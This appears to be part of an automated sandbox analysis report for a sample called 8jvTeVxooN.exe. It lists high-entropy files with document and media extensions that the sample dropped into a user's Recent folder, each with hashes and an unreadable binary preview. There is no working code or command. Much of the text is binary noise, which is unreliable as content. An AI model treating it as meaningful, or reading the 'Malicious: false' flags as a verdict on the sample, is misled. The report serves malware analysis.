.@..K.T....d..<Z..`a.&..=@9.......Q...{.K.p.iT...wO..=3.....yT.(.zm....f%.m.o./..h....BA.7~.8...._...u..^..7.....,...l9...3...b.C.&.{....6..H..../1..`.t.X..........R..P0Or...5.>.....@Vh.%..F...J...{.U.<.w..O..{....:.5m%..8.:..~}.<P.V..4..t.e{V.9.p.....v..2[......hQ.P0......F....:HS.)k..Y.X..p}...6..]..._.{{....\|Q..:.^..x.D-...d3....a.X.v.,..?I......"...:,t.ij.~J.\|......7B.=......n.F^.1...$O..."..S.[...`.....:.@..`e..c..8......4...=`5.F.r....-gW...0.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\JDDHMPCDUJ.xlsx

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8372143109632875
Encrypted:	false
SSDEEP:	24:pEjGrwnHd6GOXT8yzJdpSyq/XmDSJgoFyoI+LuB4WMJSQOphEHZ58q9cyJObD:SGrWgGcT8QXpSy+2Ig/oI+LwDMEQOpgO
MD5:	1AD38D4D0385EB38B88E1727F4FB8840
SHA1:	CD2E02B04DEA1E281A7F22854769403C37D63936
SHA-256:	8A18941385ACC8D5129DE449B8EAE62A136D767EE75B08363F2CF430FE6BB282
SHA-512:	71D7087E6E439E86793B0A90DF3EA29D05FA3D7B07660FFBA10D8FADA5570111569102D2736B6E0B1282DF66017D936D2402736C245BAC896C615A0975C90AFB
Malicious:	false
Preview:	JDDHM..20...kl..Sf.=..g!QR2...(..y2z.!.s...\_~.c..Z...(.bv..Q..~R..5;..U.U...;M.z+....a.R..h...........@...N...@..f..@#..v:...!.....~m..$UB......29..F...!.....T.,:.$.<blY...El.Z...Al5]9d.=.)w.r..4..rn...=.X....w.Ek.{.........?..0g...%.....\{.i..}...G..%.u1.$.s[m.6..k.....N8.s.Hb\%$.2...&.s...q...d.?.xh..7I.......a.....F.&=..j$..9...j._. ..%RZ.;.&...."..@...9..4X+6H.W.H._..+.-S...L....W.M.z..Cl...&.b....lG...@S......o..t....E...MT.6..P...."....@....~.FO.~.9>.....1}.?.hO)R..G..T.x1.~.k.pf.Q.j..Z.Bj.v...O!....}...]......9.j;..1.F..M.T..Y.?.jL.......?.3.(..wu.c...C.l2....p...(..........u.x....p.%z!.... X.G....v... ........c..J....T9..&..0..f..........SHY.?.........Y.'..N.)R!....g..+.e.<....aJ..%......A\......j...\|YK....{.....`_8].q...r...h/..GSr..9b..\|.<...y...N....x...+Mr;?..$m..<....b...0~.a_.r0.....-BMj.W]w..h4.T<Xa..1...A.I.V..Q.L.._b.) D....8...V..DM^....\v..ml(.H....7t.......7:S..._.rI..f...4,Dj)'e.....c.G.g.........h#..P.....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\JQADJOBBUH.png

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.826918703508541
Encrypted:	false
SSDEEP:	24:xN2HiyNeaDsxQMBMRknoOGjFmaGkA/Se0JRC613Um0s1t39ZeDT+kObD:6ceQQMBSkEFmaGFaedc3ZKuHD
MD5:	230F0C3DC1A5D443FD3B24A9E7A43AC2
SHA1:	4F1D9AA41222FA71461981B76B7E3AB96E28207B
SHA-256:	A440170AA7902D69B118AF64AD6CB4C96792ACB9707259C6197CC59411770D03
SHA-512:	FF4B7B57AD2253FEDF072D1CDB29854F8AF59208C6DE6128539FA70B564F01856A30024E3624E64393E44DE634BFB2A1727F88169B9858A53DF0E9366BE06A52
Malicious:	false
Preview:	JQADJ.!.....K{..^.{1..X...D...........$...P.....$.n,.[w...#.^UW...z.g..]....8....,.V.ez...3...2....4......Nl8.../....M.s...1...O...&"...>...D......L`I'..,......g....<i..q..1...Y?.E;v#.?.....?.WjR...i....$E.v4.#....rN.Y.c.J...f._.8b..mo.......}0.....o..>l......\|p.....c,......> ...s....>M4..S...!-.1x6f.,..<.QK..1...n...9x.m..S.U?7'.e.b%I..TlYB...va.F.?.../...U..A...c.0.K.....W:U..........(.......+..R...p.o(.0..S....D.....X.....7.-......H...!...D.W".....-1..[t.k....j#.?...h'...G$.z..pp.m<w.e.C.9......v.uX..0kM.&.!\T.7Q..`V...(..&:...c.S...J....vs.L.7vD..Q..-.{.-.F..<c:...m....D...6..L.4.."....[....y...M........\...Ar....>....$...........e..%.g2,8...H.L.E...R2...-c.d......Q..U.H..(...g.9...,9.AZV6\|....E.(.:<S....y.r!...........>.....v...XH..68.......CN.....$..!f'.*.j.H....].HF....M.z9...@.L8.X.WNB....I.a.F[...>..^.2bXA..}2......r.Q...o..s.o....@<-..._...s....O.~,3T+...&A3H....m.3..2C.X..$?.U.k^....;...s...q.v.T..M..x.o...>.Q..t\.Ax

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\KATAXZVCPS.mp3

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854307959701588
Encrypted:	false
SSDEEP:	24:iNBm9ghCsei3kvU1uzAVrWWawrkM668PAnte0GGtjAVbQvOrL4PSX1iP1CvQ9Z0I:6agh14815HawYS8WFZA5qSy4yI4jXD
MD5:	295BB07D86BE13C5BBC85977664F6223
SHA1:	8153F2F8724E863B8E4B69808AC3A7FA7481D057
SHA-256:	D16122FE2451A6A6B34B53E384BCD544BD315FB2614176E238004B06CA1D44A3
SHA-512:	0232F343036CF7A0EFE7375D206B3363DC7BC8EA8D506420CDFA38E524EBD2C2CEFEB197C7B7694E6133B231C6A639E27644F1BEF49DA58804838A4BF286C8F1
Malicious:	false
Preview:	KATAX.c.Zk...(Gz. >.c..=.U....H.a...8.H..`.(.... nse4.I......V=.]<...b.K.yY..#$.0.>.R.m.......W....;..8..-6HI.M...&_.....\|.{....~\|.x.C..{LNr.dJA...NO...z.#d.JX.[A&.JV$=7.f.......4K~L..P.........B.r..8...?.`...M.....L.E.......#..;S.N...x.k....D..6@.~...Yc"!n..0..'.].....e.$..W.\..V.$"......w.aa.;.S.~.p09..^../\|.........'T.#....d..M8B.c..V6D..`uO^CaL`u9#.P.)..P.X/W.$..gV.:9<..?M...Q>.U.'m.....7m_c=.M..k+...m...GV....,.R.Dl...G.hG.F..?....K.......;.UU..\.....e...C..u.2..I).1.o....~[.)..d+.w.QTa..~.^69......S.....T8{..P......DG...E....ez..r,:..B...k.\F...<.8...'..d.....o$.>.i...jR.^.J.......\|gd....).k.s..f=..].C.7.&=...z..&Q....{..f....\](.?...l._.8.........y..c.q.3....`!.T.tH...z...S.vS._}.%..J)hkVC.....T.4g..d..`L.G.<o..%...<.....0/.Y.2....T.\...\.vN..O..T...\|h<x.#(....f.H.SU[.5<...zg,..<....}...=.v.#VD........D.2.......z#.9]X~z....]..M.G.M.7....=....\[.EsN.....q;....N.O.x.-]Z`.....(Z......B.^..{..V{..a..iVO..]....h\(X....x...;W^.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\KATAXZVCPS.pdf

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.83823221826975
Encrypted:	false
SSDEEP:	24:Yt40wpehA33xaQQDU7v7F2mVBRw2bVNYUcolwfg5ZFk21G+EObD:Yt4vqAnIQQA7v7FNXRwKqUc1f2k2M+nD
MD5:	0EC2F9BD2A7CCDAD99D78D488323BCC3
SHA1:	C4048005C37C1907D0B356722802F8093F9389E6
SHA-256:	72911EC67E158FDDFDA47DF9032C7B235905CB2DD6FD98933E90B95336CA03C9
SHA-512:	4D152A04643845339AFC5EF645A3E18855AC2772497CA0E66C62EA919856EC28EAB9B0E256E21D4F9BD6DD1B91001E7991733CBC5470333DC594B8E5D0AB25DF
Malicious:	false
Preview:	KATAX.O......K..E43.l.0....$.P.d."QA/u.JW....e.....?..G>..nh...S:2..]...Rr.N.....mZ.....V....p%.......&....q.H]..@.].5..d..4..\..O...Nh..^M.`.C..u....l...$.N....$..).b...........5.a.\|Qz(..9.4lj...F......./.Y[........nd$.p......+b.....`.&.....&..eQG.F.....v...`...L..D.E......=....n...s.\.....6.c.1.=a....h.824.L.$......<.`r...<DAo.....YA......v4.\/.nT....B.Gl3S=c>..yw<.........{].}..%Y.L.P.al..#o.[i.}E!.(.o.<I9..>.sn..?].t>..?..=.t{.3Kt....?S.8.C.Y.K[9 ..M..A.-..1../.x....m...Ga'.!.L.....pj..Rn!.@...[T..>Y......Z...\X.t...8.]X..w.^....j.#....4...........V.....#kQ%Uh....~sX....Ma...&.\|Z!.........?q.R3......xj~z^.ziF..5....E.%.n.u..~}h...X}...?...%.fi.n.M@!d.....).?bf&...W.:...fr...81?..J..&O.XN(+.-.n.F..d.Xu.... NV..7..4"..6r...R.I..w....."/_ ....c.J....I.G.Y.GI.)D..U.N.........`.~Z.!..........ddb.>n..^.>.l#..uc.+~4.e-'lP}d.uq...Z.rIHXW$..p.........J.I..U...+.V.Y9.6~[.1R7.F...6I%2.Y._.V.h....(........r..7.D......'..p\.N....vD9.=....H4.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\KATAXZVCPS.xlsx

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857437678281315
Encrypted:	false
SSDEEP:	24:yerz4ZO6svV+RYi6GFkEimDFnfTiP+qz4jBDbOapJqdrgxJm2wzAoe9r6vObD:yGUO6svVu6GFzBfhY4jjpJ+gxJm2wUoe
MD5:	D55928DBB4857F2DEB74D3ED587903EF
SHA1:	00793E37795278DB6789684297DD5233FDEC1FAC
SHA-256:	04A684D2D4CB5A9448F0BE72198AF27457BEE8AB3D7C4AAF99A9AFDAF1291CBA
SHA-512:	5EB63209680780C887AEC2728F28BB7B52FCA49CABCFF1AE5E41C6C5253B4997A3E4921C92978B9059131B2EBEED6893D4B0052B9D0231170E02CFBA56F03182
Malicious:	false
Preview:	KATAX$...r~.... .4..........9!(\|..D.).....1.&.....`./8RM.>..G.fH..yRK..O...hC.4.q.\|...5+..cS.Z.J.Q.Yg.Zd....._.-.........h.A....?7]<.SyVl....AJ<.z.....bz.....i...C)a....F.;nP...V.bx..e...l.R@.)e.....@..2.:>s .....rjB`.5%u./...^.zK.h.E<P.moY.\`.s...h....u_..*s......rx...J...FE..b.!:....V.<.e.qmK.vx.&......4.\..S....{..g.ih..p(&.......]i.%..G..(dw..V..?..s1mcO8N....V.E'.y.....8.$.Jq.Q...t..`"...J..mJ......R.H......A....E...T...z.s..+..`@.....uG4..g...<#...., .. ...4@..=.#.d .z.g..].7.Q\{<.V.....o{..vG,.C.M....J].[.x.%....r.X/....#.m.......v.,<.0n.3....F.K....(.O..........B..N...4`+.......D...z.&<5X..;.v>(j,?.s7+. 5/..I...mp./L....R.o.&/..5@..n(..........K.0...1.jo.......p.Z.\..m.%Q.....>E^/..@8=V..>...0.@hY...B\..DJ..txM...f.{....>M..4/.{..oy@...s.<.0..... y...._\|...'.T........XD.......J...;b......q.../c'gM>..i.8.L.2...}.gQ...g..Rh..\%..&o..<.K\-~..m........k.t<.S......0.......lI_.@{o.T.....e5ta"f..4.b.....z}."..+[.'f3.^g..Re..f..Q....@

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LHEPQPGEWF.jpg

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.830627824414911
Encrypted:	false
SSDEEP:	24:9oimbUNEAiAjeJWZ5PPHsO9lY2nV6zJs0l+x4I9UV4VrKZfH6/NObD:9oim4NU+VHsml/nYzJZoWI9UV4VrKZfr
MD5:	BA4DDBF86ACFAAD754B8D48E806621C9
SHA1:	68B8A425CDBB44BB4FFC0AA293B40375D77CC2A1
SHA-256:	00356D16C402C7A203A57F8A1DC854B09C0113E324516303ECCF85963784F5FB
SHA-512:	9C4BD5CD8546C4920C7FE4A1ABEF997EECBBC3622FA741660194498B6443767ABC20909A890723010A652BF6FF7A972A8471BB660FB7EC046DD4911881A63821
Malicious:	false
Preview:	LHEPQ....`...x...n.os.)...(...}T.....f#s.R ...f.i.... ...m~..6/..%?.r../...M..$.R...Wr........./...;....X5.Da7P.../\..\...](....h.<1..n...,.'.LK.&. ..wb[#..@.....EgD\|$.....a.....'hE6.6l-J(.F.`...[..t.\.8k..t3i..E]..K..B....O.....S...s.z...a<...N3.l5.....^..\}ra0....".=.a2................E.U.dVJ...r...;n.1..H..F.7..\.;.4.................(...Zx.D.<$.-.O {.....i.....<.D..^d.%........M.E$.....iB..9...~....UMX.A..t.N..WY.7.g.N8f.[ZPX:Q...Kl^.;~....D.t_Z...X.v..&.<i.7..>.F.....!...lrs.............(....F@..1....F..............B....YAg.m........K.]}e.i.u.8FQ'./....Y4hv.[Y.`....B...q..=A.F}......gB..B.....-g.?j..:...pA.F6..0..N.P'.$..\|.\3..6POHW....I.}..R.......ug..~..z{.YU..B......."....).3... ........E...........y[.4\|s.K.o.`?..'d7.8.-Yh.n...`....[......N..iM..#..Rs.X-+.L$..(...T..5..h......K..p..&-.}.$~..QZ...X..r.'.r.?w...T.z...VJ.=..?.K....Nn.@..,.XlD.5.E...{w@.Z...&.tv.`...Q8g..a...a..@y>.%....i...^.o.Z> 1(..._.y\|$.'L?v.dh..w.........B.....\|.3.Y..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LTKMYBSEYZ.docx

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8404014180029575
Encrypted:	false
SSDEEP:	24:dAirkNHDrGkO9cdYB1VUMeNOxUADfLqQXBGpnidQjDFHQjaObD:dj8jr0gYZU5SUoTqQXBGLjoD
MD5:	1C6F80469F740021EA6DDB6D43A5025B
SHA1:	A50B7BC9420B9C845D9136C82258D11F41E5A155
SHA-256:	8BB1CE0044A69D534A3CD94687482EFD0C0C0F9FF44FDDEEE16A9989318C2ABE
SHA-512:	619326BA6D06FE3822E96F84655FE723E0FD53682A9781EB1CC69FDE1BB79E30A9D7436809FB37F6A6DCE9572928FE1309BBA56A77564D9CFD26886E10AFC03B
Malicious:	false
Preview:	LTKMY...L..\...v...'.g...E>.3......Is.a...zY.I..;....G.A......O.e......&\|.....`......iH.~$..{...x...Lt...#...zTT5..z:....D.H.%.[...0Q..2......Z.H.G....h^...H).._..L.0...........u...X..`^.).#.0+...B.l..PO...S..~.(..I.wde="...7e.G.. 6..$. l.....QuD..<.X..>.C..R..Y......[...;P..oy)../v..k..}.'.s.`...W......3..M...t...%.pm.).~.k....}R8......1..c..0.\|~I1..%gp...P.(..I.F.$,.s./!.....Z..Vq..X.PV.......;.sv.V....\|..:I..^.......h....X).y\Y~.A.X.T.gb....>.KA."...l."(..",.j}...).:..Rm.j}."..9AhS.66....I5]M..Sg..S\|q..(.u.O..5B..-..:.E.S.o.3v.w_! \|..;.5j..G...+.....s..%..T...a3V..A......SS.....ao.C..X.)...5.w.f.as...X...^6...J.X+'R..>.<^5.x5}a..>e... .6...A..2...k...D7.v..."...i.q....U..........2IN1r.........y.Zt..sO...........8.@......?...C..x.4.....3v%fB)9.L..>&ZX..TQ...].D..~X..+...$c..~Q.:z.8/<./..*PI......S...R,...Z..k...v@..v.......u.~.. q}...... q..E...%.%...(i.l......6..Y..)W....kI.......y.....1.....@.{3....WF..G............H..:2.[.....R

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LTKMYBSEYZ.pdf

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845350337528881
Encrypted:	false
SSDEEP:	24:WwBlYlTFfRescvAxV1F3E3FkJiIu0yot4V5h6pCJkexB2jUPHfkJLQvObD:WwMlTFfMC3nRU6gkpIjGYPHfkJkUD
MD5:	83F29B97B847D999F07530D90CB71982
SHA1:	9CAAB9FA4C38EBE9BC61D2CBD29E865FD26EBB42
SHA-256:	4EF306B4583D6F70FA2535DA1707E9F2F711900EFA32BE04BAAA51039DEC79B9
SHA-512:	FDCFCB41DB6229AE514991E5E0AE5539B056D5E1A5FD2398080CA683347273A53C9712296C8B401AE6FC67A9B0E3696FE450D1B12B87442DDF4996F3C7C5498D
Malicious:	false
Preview:	LTKMY^N.....`e.O.\|..9j..Y..<......COA.zj..7.z...~<.J..!.D..=O..c>.../..1.\..L.;....t....P..L,QY.~Tj.5.....Wz...8.f.F..:H.R.j...7TZ.V..p......\|...T..`.r....2.g..r..]....d..pE...Y..K8f.2....Sl...q..`6j.?C7u[..&w.a.j....-zzvo.;y.....1..3h.f...;.I..0.a.....K]..".@.r...g..MaQ....f.^.T.ey:.Q...V.'.......:6;..a...+.V..$...........,6.H\|.q..N!....E.?.fSh....C.Wot.. Q/.5\|}.......D;...0-..Gb.C.]..r.r.g..mP..(.b...D.Y..oGW.s.)..V..FI5e.Y..9.z"..M}K.e{w.;D..u..8.m..^...4..".=x...O'.}...9A.o.N..;.xu..."...=...i.....M[...<......h..E..6......3..,.&.5.l..@A..0g....-L.^..5.Pz4^..`.YY...ux.......v..aP~...)2.L.7..R....w\..8orK].i.....fh...Cx...)&.Z....TA.T.)...&......\|.($..Bb.......Z?h$..+.h...P...Vl..mJsB.q.6I....<$r(`..>.\|..i.\|.g..\q(M.I..W@....fDa+:..6..cS..Z.v.I...c.!^(........f .GD*.I......._H.....cE.Ao...I....\|./.8'.....0..p...l...f......t..h...>..j>.....~..-C.]w.#7.:V...c'A....>...0...ZNe...E..k}(.U....urK.cm...].Q.@.U.M....D.LX

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NWTVCDUMOB.png

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.839554618598345
Encrypted:	false
SSDEEP:	24:uaVmEndii7S/puNpxRLEbz/ndaEb/OKSGMi4uqAXfODhotrdkpfOOX3wdCnxP6CU:uasEnUi7Sx8pYbTdaK/OoxFXfODh8GB0
MD5:	BA74ADF71B3F07D260A809104E451BE8
SHA1:	4C45AA201C02185EC723902F505B1A45F4BAEC84
SHA-256:	4A4516357EA4B76A617E7F10C9BE98BB86C320236DC9B35FB3546C94E8D3A235
SHA-512:	ED06206797AEE871CDB0C8BC8E7E99B7C92EF78FA6963A3C9F58C74EBAE78FA7C73AC32FFAABF14BF76F91CE9E5C0A46D133D7EFF14D3EE022252D8E2E092E74
Malicious:	false
Preview:	NWTVC.[..H6........H..K..Y....@.....U...V-!...%.CGB.......C..-...L.'...k...Q.5rh........w.8...U...,...z.{.5h....W.r......)..[..d.b,..F...W..lJ....#.iC.T.s.......2......(...MpJ.xenh.6..l.pP......uK...k..~.."->1.......C...o/.....f.5x..x..Oic.S'../....,/...y.}'..z.....^G.cM.p.].o^..... .]......k.5.!.v.9.Kl........y......p.1x...s...(..8_)...........E.......h......f8.^_..@..^.T.;.,X..H_.Ng.....<W..%~:..jfD.rN.W.../~K..5..!.z.z.".{+\|0.....f.F~J7..Abl..N.5...cXU........K.>:..Uk........#..,.....9-..N\.........o.2..wEWzS....eM....k.K.M.....)..v.je.].E....9.\|[..n.. .h..w'.9%u.\.....u!..W.{..lt/:..x.i...4.Fz.3;..4t.KN.l0e...@E$.l.a..@..(..?.0.C.........kz}&..5s.\..10]..@i...u.R..0cA.G.P.v..}.V.\|.....+......k5f.;.^.C..C..N..P..).D.R4...EV.@......E...}.,.WN..J........%....W5..........6t.z..T.&0..>.V..W.u.z.TBo.k4.....(..qp..c.^Tca..k.ofXfg.;..qr.Z..Y..[..~........P.x..t.!..p..&H8...L...\|.z......-...m.U......1.#...'].I'Y...*..PyL.:[...c....XV..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8353661730134645
Encrypted:	false
SSDEEP:	24:qhd/k+sYdx3+TBwpAegnOZnRUVnHjwsc6G2ephYKKCcAZ10kblG6hTfoXObD:qjk+1CGN5REEsBG2evpKCX+kblGsJD
MD5:	8C52A8CA54519606300DE30634136E76
SHA1:	7BF8EFBE18DA0E773DC6DC54D1DB3A86FC7ACC56
SHA-256:	313843B354893BE0764AEC9517F6214DC8504608BA89ACE5908D323612CC9D3C
SHA-512:	A7323A0DB0DC21E90A520BAEE63E0106E0007499B242A49E2A02665A5F9DCF9BFA7BA50D22BBCB4BBA47D1D1C65B9875765A81A44A1F9AC94FE1E2C9E9A149B0
Malicious:	false
Preview:	ONBQC..~n..@W)......&X.Ya....y]nH.>..`.>....t..n8.:.o.9.r.7Z..I..\|..../.1.{.........I.z=k[f.P.y%..d......o.C.VG~......6.J:w&f....}X.....(.7.\....BGA...H.xD......d....X{@.A.\NR....!......u.X...+..\|Yy!.M.k.HtT..U..U....h9......M}.Ube.y.Jt%U.........9...6US)..../{K.X..@..a;.{Yw..y?.d.x...u..#l.....s.46... ...'R.A...6.+,...3...i<fJ.sp..).W...7f'l....i.....$.N:;.6_.F.I~..M.W.4%D..$..,5NXj..gh.=...+.^....c.=.+A.%.e{[..V:.._W./...k.:<Qy1ux.......O.e.7.l../!.0..h.H......e.ST...y,....m.U=.V.e.T.,.z....6O.-.....c.X.-F...I.D.rL...g..C&.A._...LA.....!A...X...U....f...._...Y._^Y.(.3.A.=..2..-.2..T.........GW.A\+.~...O...2..a.e.@....<?...[s3...6;i"..p.p .H.8..\|..i.C0PE..R/@....n.l8n..r...!..s.u-....@y..hpC..A?.P.N...%)y..x%..I^n!..\|EM...(K..<....2..a.C~.J...0.?v.V.t....=Td...>..S.2.W..../T....>/..r:Q...cDX..._..).l...tN.w.,..TD..X.]8H.\|L...Oc..l...xf=..H.V.[.....F...(..!C.ZT...>...+/.......=...{4d.....,...W/2.....O...^..q...}..q..d..S^......w...>y..C\[..CH...+

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ONBQCLYSPU.pdf

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.870338929474538
Encrypted:	false
SSDEEP:	24:x+q2NF5NO0/eJ27EfuWrLsS7UDfn5KO0g2YxihPC9kswtFcZndhr1itObD:x+3rCkXUR8Gq90FYRrD
MD5:	57815DDC80560944EC35DFDF4169CE60
SHA1:	F9C7100EA524CCB2C603DAB517AF51C24F25CA99
SHA-256:	4475DA110B2C312E85F3B96FE0AD0050D74B64937A563CA697C40B6940066498
SHA-512:	FDF21D8B88B7901401BB98908AA251E74E8A7641188792416D48073DE57647E02D74A65F2665B2251583159C489718571BB63BC5A6C896B0582EA0DB7CB8D99A
Malicious:	false
Preview:	ONBQC.C.P...r.^(.]...1.q+.2Q.Jl...8c....".V.;t>9...;!. b..v..e7.;K...7.qi...&..3.9.f.'...{V/vu..M..5.<k...?....(t..rX..w.(......M..4R.j.......".......V....>x...U.~.Oe.Q.;.^q3N/V..Rb.yN......,Ei../x.9..n!...p._i...i$.....e..T ....:.~4.....2..2..h..5i.)...H...#.J#..P..&....m..B...E.}.mW)..^..x......7x#....}...\+)w=:...;.,.U#...;..j..C.Z..L..B.P......._rIvW9._..\8l..#.....t..Xzm..to.M....k.<.f..U..j.S....XGf...0C..vo.N.rZ.........^..Z"..`.I.$..y..w.9t..yj.4DA.k..2o...8U.:cU-.....'_m..o.k.u.;......G...f,.A6..~3.IDe8?...`.......9.J..A.2%..h..u...I.a<..&M..11..Nx,..n..E. .U..<(pV..&..?#..P:.3.+..<.+4.`.f"..q.S:.?n........M.,'=t...J.....W..Y#[xR;b.`.I.X../Z.i...x..I{...'.$.z.M..#s8,..0.oi....TY./[..&....r..:...P..K.Y.m_h...UZ^...."..6..p.)?D...s....!.l....n..m..da.".V...v..]..}.....E..J'.d.G.a5......Ht..}.P8.=*..Gt..=.]7......w..JI.y.3......../^2.1.9>...D..+.!.m}.........A.;.OqT.... 7.......{.b......&F.....J.(......\|]..fp...y..D.S0..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PALRGUCVEH.png

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84915492192825
Encrypted:	false
SSDEEP:	24:hTmViR9ub2x7BYgqjB9U5oBsmH5TFcO0ydZNgm8gKSxmHIZ9/OM3eu9GVObD:hqkm2x7Bgv95T7tAXC8C/OOVD
MD5:	437C7FB9F4DCD223A090564771C303ED
SHA1:	875296432E6AF3A0F18D754F6AC85AD48E6C5602
SHA-256:	C1E1C3262C31ED59CCE0FBEA3FC1C0AF27BDC675175BBAE1D54A553F9B63D955
SHA-512:	C7F0280C5121474390A61636772788A31C4BD2A63DDE53F6755381204B20ABE70241F955FF5F64E4A4DD722753D6B9981B4A4F89FC2C1D50C3319DE95EC6E7F5
Malicious:	false
Preview:	PALRG.....8d.....$+Ym3g....E.,.8h.P.D..x....$.t7....7.q.v..9.........y..-$...c..S@ce.+.}.+..p/.@.../...a./....)Ha@.E-....N7..o.FY..pr..zb..G.........(.......5-.6..e.....K....=....gm."..O.JL...N.a...Z..#...=.S"yA....0.U.v.'I.X.......~.'7D:..#..w..;...G.<..8..).}gf:.....u.od3uFcK[$.:hh...g..)@.n8..........C......=.1o`...._^ ..-...F.&.#.jj..i...a.r.5....W..Ghg...M[..bo........W+f...O.1wE..4..nS.0d^."..u\|..C.o.~).y.S..Y...2.e,W.Dds.+....e..R........-.lv=pV..f.6..<.......[...........oh.v.uO....Bq..iNUL.9.....?....q.P_...Pi.]M.....g....m.^.oK.?s....R,..NZQ.L.\|{,...J.s.1'.$S.Ea......o.h.....9.'b.......Q../PY.4..0./..+...SEAq.Q..C..6E...8'..8.6...B,.X.re)......&Q5.k...,S..=.u.C.d\.-.S4b&1.ep.cyn.tM....NB......B.ow.......`p..aK=. .U....>p...J..m...].qz..E..k :o........\|.....]......v!].mH.\.?..+.lZ......af...5...P*.Vt..2.q{H'....<,..}14Z...!...k.eH...N2_dg..fUbEc.Pui.0.C..r..$...i.....k:I.f...K...-.afUM]+Q.s.L..Q....E.2Fh...6.n.b.A..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\RAYHIWGKDI.docx

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856269443447717
Encrypted:	false
SSDEEP:	24:zLMa5ycR6HXWHr1ZGdeoUWxPQWwcAQYY/3Tpm/eznA375zc+aVL8BObD:3M0R6HXWj/z5q3/jpqNc+aVLND
MD5:	57C199F3FBE302123C8D546D222B7F56
SHA1:	91019B5C8C2D5AB9315BB1968E71DAF98EF5C11A
SHA-256:	C425462684B1147BA13BA104ED9E5DE25D26D8D53C599BAE91DF59051966EAE2
SHA-512:	FD7B3DFCCBC0C6F1B133D94D48DB22F5AC98F174EB54738578339B2EF7CB2E4754CBF5886F7C9F2827A43219B3230DDD1DE5A4BB94FB48AD39F27D3A9905AC66
Malicious:	false
Preview:	RAYHI....".....D...Xp...>...70.Uz%....p3.;.q.Nj'..l.....5...R<GQ...[.......n.yN.1.).!z.)}&.1'.L..D....:..PK....V....sDCK..6j....7.....%.....W..3.`(w.Q...eh]-[+..y..7.'QY.y..V...1p..p..........."/./.LU....#.x.+..F..z..............vk/....).C....R.L]Z.......o.IM....0.....Y.sQ9.$....5...z.=........i/...[D..X.6...=.....].t..."Z...g..G..."M..K..{.Z.....a5..;...U.$0....Z.V.T2.G.Y)........\|.d.$Gd2..~.9D..O..7:..Bs`.......4.....V......m"`..........sT.i.}. .9... o.]}M0..wj.e....S(Z.X....A../ie.!XC.0..........%..z..A@....X.5..).65Bo.\|'....J}....E6..q......@I.]3..>../.=....$.BG=....l.Q]!...!.zW..u.....-T..<..8;.%(...[.....l.=.....E.G......I...b...xQ........SX........S..1.hP...a...}....(gm.}G...b...[.<e.',......3N..kvP... ... .GlN,u...).,..?Xk...n..].s.Ph.V.hSCC..._LY...(..k2.(.\....dV.X....28Q...bE.sa{...h^.#...d{...-..U..Y.X..E.m.L.x;O.&..~..y6.X*X..5..D...t.......%....j.q...+..a......k.j..GrWCC~x...D....;(.c..(A..q..x.....mT8...I\b.K....R9

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\RAYHIWGKDI.mp3

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844619340330571
Encrypted:	false
SSDEEP:	24:xjHF7L83sY0e4ZBPNIYiCg259cSBNX90S94c/AHUObD:xNLc03FIsg2ISN0S94cID
MD5:	D715EA844C6C1AA34A66B7AD36AC10D2
SHA1:	F42F420372E59B57AD67A2B26B378E121FADEBFA
SHA-256:	3CDB927C99380E59BD2BD7D10691228FBD765655B201BD3AE56349C748708CAA
SHA-512:	1DA1551B62DBA6737A43B0B26B05F0E1EE9FFA2FC5F3E59D3955891BC7F00C9666668525923DC4F29971CE31F65AE96681BCE63FCF329CA2E06A173F027D88E3
Malicious:	false
